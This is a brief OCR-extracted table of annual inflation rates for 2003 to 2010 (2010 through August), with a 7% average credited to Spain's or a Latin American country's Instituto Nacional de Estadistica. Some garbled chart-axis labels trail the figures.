2003 6%
2004 8%
2005 9%
2006 7%
2007 7%
2008 11%
2009 2%
2010
(hasta 3%
agosto)
Promedio 7%
Inflacion anual 2001
e 2002
sy 2003
Nt =
005
s O0E
2007
s 2008

.\.

Fuente: Instituto Nacional de estadistica INE




